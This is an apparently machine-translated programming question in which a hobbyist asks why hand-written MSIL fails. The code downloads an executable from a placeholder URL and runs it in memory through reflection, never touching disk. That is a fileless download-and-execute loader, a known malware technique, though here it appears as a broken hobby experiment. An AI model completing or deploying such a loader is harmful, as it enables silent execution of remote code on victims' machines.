所以我是C#的中级程序员,最近我迷上了文件大小并创建了最小的文件。为此,我意识到将MSIL用于更简单的程序可以大量减少大小。
所以我尝试转换以下内容
现在,做完这些之后,我想...为什么当我可以简单地使用反射并不必使用磁盘就可以运行它们时编写文件?
那就是问题所在,我找不到解决方案。
此代码有什么问题?
.assembly a{}
.subsystem 0x0002
.class private AA1.B
extends [mscorlib]System.Object{
.method private static void a(){
.entrypoint
.maxstack 4
.locals init (
[0] string str,
[1] uint8[] buffer)
nop
newobj instance void [System]System.Net.WebClient::.ctor()
ldstr "http://www.mywebwiste.com/myDotNetFile.exe"
call instance uint8[] [System]System.Net.WebClient::DownloadData(string)
stloc.1
ldloc.1
call class [mscorlib]System.Reflection.Assembly [mscorlib]System.Reflection.Assembly::Load(uint8[])
callvirt instance class [mscorlib]System.Reflection.MethodInfo [mscorlib]System.Reflection.Assembly::get_EntryPoint()
ldnull
ldc.i4.0
newarr object
callvirt instance object [mscorlib]System.Reflection.MethodBase::Invoke(object, object[])
}}
Run Code Online (Sandbox Code Playgroud)
我编译的错误是“参考未声明的extern组装系统。” 和“引用未声明的extern程序集mscorlib”。我不是在宣布他们吗?它仍然可以编译它们,但是在运行时会崩溃。